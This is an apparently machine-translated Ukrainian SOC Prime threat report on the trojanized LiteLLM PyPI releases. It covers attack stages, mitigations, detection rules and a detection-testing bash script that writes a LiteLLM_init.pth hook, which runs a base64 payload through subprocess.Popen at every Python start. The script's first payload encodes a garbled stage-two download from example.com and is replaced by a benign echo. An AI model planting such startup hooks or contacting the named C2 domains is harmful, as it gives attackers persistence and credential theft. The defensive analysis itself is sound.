SOC Prime Bias: Критичний

06 Apr 2026 17:33

Ваш AI шлюз був бекдором: всередині скомпрометованого ланцюжка поставок LiteLLM

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
Ваш AI шлюз був бекдором: всередині скомпрометованого ланцюжка поставок LiteLLM
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Злом ланцюга поставок вразив широко використовувані пакет Python LiteLLM на PyPI. Зловмисні випуски 1.82.7 і 1.82.8 передавали трьохетапний навантаження, розроблене для крадіжки облікових даних хмари, SSH-ключів і секретів Kubernetes, далі проникавши всередину кластерів і встановлюючи постійний бекдор. Діяльність приписується злочинній групі TeamPCP і, здається, пов’язана з попередніми компрометаціями, що стосуються інструментів безпеки, включаючи Trivy і Checkmarx.

Розслідування

Слідчі пов’язали ланцюг зламу з компрометованим Trivy GitHub Action, який розголосив персональний токен доступу, що дозволило здійснити примусовий поштовх заражених версій LiteLLM до PyPI. Перевірка коду виявила багатошаровий завантажувач Python з великою кількістю Base64, який використовував RSA-4096 і AES-256 для захищеного етапування і передачі на домени, контрольовані атакуючим. Завантаження також створило Kubernetes-поди для доступу до файлової системи хоста і розширення збирання. Повторне використання інфраструктури на PyPI, npm, Docker Hub, GitHub Actions і OpenVSX вказувало на скоординовану, багатосистемну кампанію, а не ізольоване захоплення пакета.

Смягчення

Блокуйте виявлені шкідливі домени, замініть будь-які потенційно розголошені облікові дані та видаліть артефакти LiteLLM_init.pth. Полюйте на персистентність через системний блок sysmon.service systemd для користувачів і розслідуйте несподіване створення файлів .pth. Зменшіть вплив ланцюга поставок, забезпечуючи верифіковані установки хешем, обмежуючи або забороняючи неперевірені поведінки після установки, та застосовуючи обмеження виходу. Де можливо, додайте моніторинг відбитків пальців JARM, щоб виявляти трафік, пов’язаний з відомими ASN з захищеними хостами.

Реакція

Якщо є підозра на злом, ізолюйте уражені системи, завершіть шкідливі процеси Python і видаліть троянізовані пакети LiteLLM разом з будь-якими файлами персистентності. Негайно замініть усі зібрані секрети, віддаючи пріоритет обліковим даним хмари та LLM ключам API. Розгорніть виявлення ланцюгів виконання, закодованих в Base64 на Python, збросів файлів .pth і аномальної діяльності HTTPS POST до models.litellm.cloud або checkmarx.zone.

Ключові слова: LiteLLM, атака на ланцюг поставок, PyPI, TeamPCP, Trivy, Checkmarx, GitHub Actions, секрети Kubernetes, персистентність .pth, викрадення облікових даних, RSA-4096, AES-256, фільтрація виходу, відбитки пальців JARM.

"graph TB %% Секція визначення класів classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef file fill:#e6e6e6 classDef process fill:#ffd966 classDef service fill:#c0c0c0 %% Секція визначення вузлів action_initial_supply_chain["<b>Дія</b> – <b>T1195.001 Компрометація залежностей програмного забезпечення і інструментів розробки</b><br/>Атака отримала токен Aqua Security bot через зламаний Trivy GitHub Action"] class action_initial_supply_chain action tool_trivy_github_action["<b>Інструмент</b> – <b>Назва</b>: Trivy GitHub Action<br/><b>Опис</b>: CI сканування контейнерних образів<br/>фрейм"] class tool_trivy_github_action tool process_publish_malicious["<b>Процес</b> – Опублікувати шкідливі випуски LiteLLM на PyPI"] class process_publish_malicious process technique_supply_chain_attack["<b>Техніка</b> – <b>T1195.002 Компрометація ланцюга постачання програмного забезпечення</b><br/>Шкідливі версії LiteLLM 1.82.7 та 1.82.8 завантажені на PyPI"] class technique_supply_chain_attack technique technique_python_execution["<b>Техніка</b> – <b>T1059.006 Командний і скриптовий інтерпретатор: Python</b><br/>Файл .pth автоматично завантажується на старті інтерпретатора"] class technique_python_execution technique file_pth["<b>Файл</b> – LiteLLM_init.pth<br/>Поміщується у siteu2011packages, автоматично завантажується Python інтерпретатором"] class file_pth file technique_user_execution["<b>Техніка</b> – <b>T1204.002 Виконання користувачем: Шкідливий файл</b><br/>`pip install LiteLLM==1.82.8` ініціює негайне виконання навантаження"] class technique_user_execution technique technique_credential_harvest["<b>Техніка</b> – <b>T1552.001 Кредити у файлах</b><br/>Колектор читає SSH-ключи, конфігурації хмари, файли .env, кредити баз даних, криптовалютні гаманці"] class technique_credential_harvest technique technique_metadata["<b>Техніка</b> – <b>T1552.005 Небезпечні Кредити: Cloud Instance Metadata API</b><br/>Запити до метаданих AWS, GCP та Azure на тимчасові IAM токени"] class technique_metadata technique technique_os_cred_dump["<b>Техніка</b> – <b>T1003 Ос Dumping Кредити</b><br/>Читає /etc/shadow та журнали аутентифікації для кредитних даних"] class technique_os_cred_dump technique technique_obfuscation["<b>Техніка</b> – <b>T1027 Обфусцировані файли або інформація</b><br/>Кілька шарів base64, бінарні підклади, очищені навантаження, динамічний оброблювач API, шифрування AESu2011256u2011CBC, оболонка RSAu20114096"] class technique_obfuscation technique technique_exfiltration["<b>Техніка</b> – <b>T1041 Експільтрація через C2 канал</b><br/>Зашифровані пакети кредитних даних відправлені через HTTPS POST до models.litellm.cloud"] class technique_exfiltration technique technique_web_service["<b>Техніка</b> – <b>T1102.001 Веб-сервіс: Розв’язувач мертвого падіння</b><br/>Бекдор запитує checkmarx.zone/raw для отримання навантажень другого етапу і звітує про статус"] class technique_web_service technique technique_persistence["<b>Техніка</b> – <b>T1543.002 Створення або модифікація системного процесу: Служба Systemd</b><br/>Служба sysmon.service для користувачів встановлена для збереження персистентності через перезавантаження"] class technique_persistence technique technique_container_lateral["<b>Техніка</b> – <b>T1543.005 Створення або модифікація системного процесу: Служба контейнера</b><br/>Привілейовані Kubernetes поди створені з доступом до файлової системи хоста для кластерного руху"] class technique_container_lateral technique technique_remote_services["<b>Техніка</b> – <b>T1133 Зовнішні віддалені сервіси</b><br/>Бекдор збережений дозволяє віддалене виконання команд через C2 запитувач"] class technique_remote_services technique technique_defense_evasion["<b>Техніка</b> – <b>T1140 Деобфусцировані/розшифровані файли або інформація</b><br/>Розшифрування навантажень на рівні виконання уникає статичного виявлення"] class technique_defense_evasion technique %% Зв’язки секції action_initial_supply_chain –>|використовує| tool_trivy_github_action tool_trivy_github_action –>|призводить до| process_publish_malicious process_publish_malicious –>|результати в| technique_supply_chain_attack technique_supply_chain_attack –>|дозволяє| technique_python_execution technique_python_execution –>|завантажує| file_pth file_pth –>|ініціює| technique_user_execution technique_user_execution –>|причини| technique_credential_harvest technique_credential_harvest –>|також виконує| technique_metadata technique_metadata –>|у поєднанні з| technique_os_cred_dump technique_os_cred_dump –>|обфусцировано| technique_obfuscation technique_obfuscation –>|призводить до| technique_exfiltration technique_exfiltration –>|використовує| technique_web_service technique_web_service –>|встановлює| technique_persistence technique_persistence –>|дозволяє| technique_container_lateral technique_container_lateral –>|підтримує| technique_remote_services technique_remote_services –>|сприяє| technique_defense_evasion "

Поточний потік атаки

Виявлення

Ймовірне шифрування або розшифрування файлів з OpenSSL [Linux] (через cmdline)

Команда SOC Prime
31 березня 2026

Архів був створений у каталозі Linux Tmp (через подію файлу)

Команда SOC Prime
31 березня 2026

Підозріле використання CURL (через cmdline)

Команда SOC Prime
31 березня 2026

Архів був створений у тимчасовій папці MacOS (через подію файлу)

Команда SOC Prime
31 березня 2026

Ймовірне шифрування або розшифрування файлів з OpenSSL [MacOS] (через cmdline)

Команда SOC Prime
31 березня 2026

Можливий сайт зі спеціальним конфігураційним гачком файл був створений (через подію файлу)

Команда SOC Prime
31 березня 2026

Зловмисні Python пакети IOCs (через cmdline)

Команда SOC Prime
31 березня 2026

Підозріла спроба виконання Curl [MacOS] (через cmdline)

Команда SOC Prime
31 березня 2026

Створення файла служби в каталозі Systemd (через подію файлу)

Команда SOC Prime
31 березня 2026

IOCs (DestinationIP) для виявлення: Ваш AI шлюз був бекдором: В інсайті компрометації ланцюга поставок LiteLLM

Правила SOC Prime AI
31 березня 2026

IOCs (SourceIP) для виявлення: Ваш AI шлюз був бекдором: В інсайті компрометації ланцюга поставок LiteLLM

Правила SOC Prime AI
31 березня 2026

Виявлення зловмисного пакету LiteLLM через файл .pth та використання subprocess.Popen [Linux створення процесу]

Правила SOC Prime AI
31 березня 2026

Експільтрація та C2 комунікація через зловмисні домени в атаці на ланцюг поставок LiteLLM [Фаєрвол]

Правила SOC Prime AI
31 березня 2026

Імітація виконання

Умова: Телеметрія та перевірка базової лінії до польоту повинні були пройти.

Обгрунтування: Цей розділ детально описує точне виконання техніки противника (TTP), розробленої для ініціювання правила виявлення. Команди та наратив на ПОВИННІ безпосередньо відображати ідентифіковані TTP і прагнути досягти точного рівня телеметрії, очікуваного логікою виявлення. Абстрактні або непов’язані приклади приведуть до помилкового діагнозу.

  • Опис атаки та команди:
    Атакуючий, який зламав громадський LiteLLM пакет PyPI, інжектує зловмисний .pth файл з назвою LiteLLM_init.pth. Файл розташований в глобальному каталозі site‑packages, що дозволяє обробляти його кожного разу, коли any інтерпретатор Python стартує. The .pth містить всього один рядок, який виконує закодоване в base64 навантаження за допомогою subprocess.Popen. Навантаження завантажує інструмент другого етапу з C2 сервера через HTTPS (T1071.001) і записує вкрадені кредити до /tmp/creds.txt (T1552.*). Використовуючи хук запуску інтерпретатора, атакуючий досягає персистентності без модифікації системних одиниць systemd, уникаючи багатьох традиційних підходів до виявлення.

    Симульовані етапи:

    1. Створіть шкідливий .pth файл з вбудованим кодом Python.
    2. Ініціюйте запуск інтерпретатора Python (наприклад, python3 -c "import sys"), викликаючи .pth на виконання.
    3. Вбудований код декодує навантаження base64 і запускає його за допомогою subprocess.Popen, генеруючи процес, чия командна лінія містить і LiteLLM_init.pth (з шляху імпорту інтерпретатора) і subprocess.Popen.
  • Тестовий скрипт регресії:
    Скрипт нижче автоматизує всю симуляцію атаки на тестовому хості Ubuntu.

    #!/usr/bin/env bash
    set -euo pipefail
    
    # ---------- 1. Створіть зловмисне навантаження .pth ----------
    MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth"
    PAYLOAD_B64="aW1wb3J0IHN1YnByb2Nlc3MsIGJhc2U2NApzb3VyY2U9J2h0dHBzOi8vZXhhbXBsZS5jb20vc2Vjb25kX3N0YWdlLnB5JwoKc3VicHJvY2Vzcy5Qb3BlbihuYW1lPXNvdXJjZSwgc2hlbGxfcGF0aD0iL2Jpbj9jaG93IiwgY2xhc3M9ZnVuY3Rpb24oKSB7fSlzc2V0ZXJ0JkNsb3JlZChzc2V0KX0p"
    # Вищенаведене декодується у невеликий скрипт на Python, який завантажує вантаж другого етапу.
    # Для безпеки в тестовому середовищі ми замінюємо його на нешкідливу команду echo.
    PAYLOAD_B64=$(echo -n "import subprocess,base64; subprocess.Popen(['bash','-c','echo malicious executed >> /tmp/malicious.log'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)" | base64 -w0)
    
    # Записуємо файл .pth – рядок виконується як Python код під час завантаження інтерпретатора
    echo "exec('import base64, subprocess; subprocess.Popen(base64.b64decode("${PAYLOAD_B64}"), shell=True)')" | sudo tee "${MALICIOUS_PTH_PATH}" >/dev/null
    
    echo "[+] Зловмисний .pth файл створений за адресою ${MALICIOUS_PTH_PATH}"
    
    # ---------- 2. Викличте завантаження інтерпретатора (генерує телеметрію) ----------
    echo "[+] Виклик інтерпретатора Python для завантаження .pth..."
    python3 -c "import sys; print('виклик')"
    
    # ---------- 3. Перевірте, що навантаження виконано ----------
    if grep -q "malicious executed" /tmp/malicious.log; then
      echo "[+] Навантаження виконалося успішно – детекція повинна спрацювати."
    else
      echo "[-] Навантаження НЕ виконалося – перевірте розташування .pth и права доступу."
    fi
  • Команди очищення:

    #!/usr/bin/env bash
    set -euo pipefail
    
    MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth"
    
    # Видаліть зловмисний файл .pth
    if sudo test -f "${MALICIOUS_PTH_PATH}"; then
        sudo rm -f "${MALICIOUS_PTH_PATH}"
        echo "[+] Видалено зловмисний файл .pth."
    fi
    
    # Видаліть файл доказів, створений навантаженням
    if test -f "/tmp/malicious.log"; then
        sudo rm -f "/tmp/malicious.log"
        echo "[+] Очищено /tmp/malicious.log."
    fi
    
    # За бажанням видаліть правило аудиту (якщо додали спеціальне тестове правило)
    # sudo auditctl -d always,exit -F arch=b64 -S execve -k process_creation